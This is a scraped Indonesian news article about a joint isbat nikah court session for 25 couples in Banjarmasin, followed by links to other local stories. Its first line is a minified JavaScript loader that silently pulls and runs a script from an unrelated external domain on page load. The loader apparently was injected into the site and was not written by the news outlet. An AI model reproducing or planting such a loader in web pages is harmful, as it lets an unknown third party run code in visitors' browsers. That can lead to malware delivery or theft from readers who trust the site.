(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ragam

25 Pasangan Sidang Isbat Nikah


BANJARMASIN, Sebanyak 25 pasangan dari Kecamatan Banjarmasin Selatan dan Banjarmasin Barat berkumpul di aula kantor Kecamatan Banjarmasin Selatan, Selasa (11/12), melaksanakan sidang isbat nikah terpadu.

Sidang isbat nikah terpadu merupakan pelayanan masyarakat yang diselenggarakan Disdukcapil dan Dinas Sosial Kota Banjarmasin bekerjasama dengan Kemenag Kota Banjarmasin.

Asisten Bidang Pemerintahan dan Sosial Setdako Banjarmasin Gazi Akhmadi mengatakan, tujuan dilaksanakannya kegiatan tersebut untuk memberikan pelayanan kepada penduduk Kota Banjarmasin kurang mampu.

“Pelayanan kepada masyarakat ini merupakan bagian dari pembangunan kesejahteraan sosial kemasyarakatan yang berwujud memberikan hak mereka yakni pengakuan secara adminitrasi kependudukan,” ujarnya, saat membuka sidang isbat nikah.

Untuk bisa mengikuti sidang isbat nikah, jelasnya, peserta harus tercatat dalam basis data terpadu yang menurut hasil verifikasi dan validasi dinyatakan benar-benar layak mendapatkan bantuan tersebut.

Kepala Pengadilan Agama Kota Banjarmasin Dr Murtadlo menjelaskan, kegiatan sidang isbat nikah terpadu dilaksanakan untuk memberikan kemudahan kepada masyarakat dalam membuat administrasi kependudukan,sesuai dengan harapan dari Mahkamah Agung. “Ini kegiatan pertama kalinya dilaksanakan di Kota Banjarmasin, mudah-mudahan tahun depan bisa lebih banyak,” harapannya.

Sementara itu, Kasi Bimas Islam Kemenag Kota Banjarmasin Anang Syahrani mengatakan, beberapa keuntungan pasangan yang melaksanakan sidang isbat nikah terpadu diantaranya pernikahan tercatat secara adminitrasi negara, dan bisa membuat akta kelahiran untuk anak. “Dengan adanya hak sipil negara ini maka akan sangat membantu masyarakat. Jadi kalau mereka tidak mempunyai akta kelahiran maka pengadilan sudah bisa menetapkan asal usul anak,” katanya.

Dari informasi terhimpun, peserta sidang isbat nikah terpadu, tak hanya diikuti pasangan yang telah nikah secara siri, tetapi juga diikuti pasangan yang telah nikah secara sah, tetapi data pernikahan tercecer sehingga tidak sempat tercatat di KUA.

Batas usia pernikahan minimal untuk pasangan yang ingin mengikuti isbat nikah adalah 5 tahun perkawinan. Selain mendapatkan buku nikah, para peserta isbat nikah juga mendapatkan akta kelahiran untuk anak mereka. (mario)

Reporter:Mario
Editor:Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.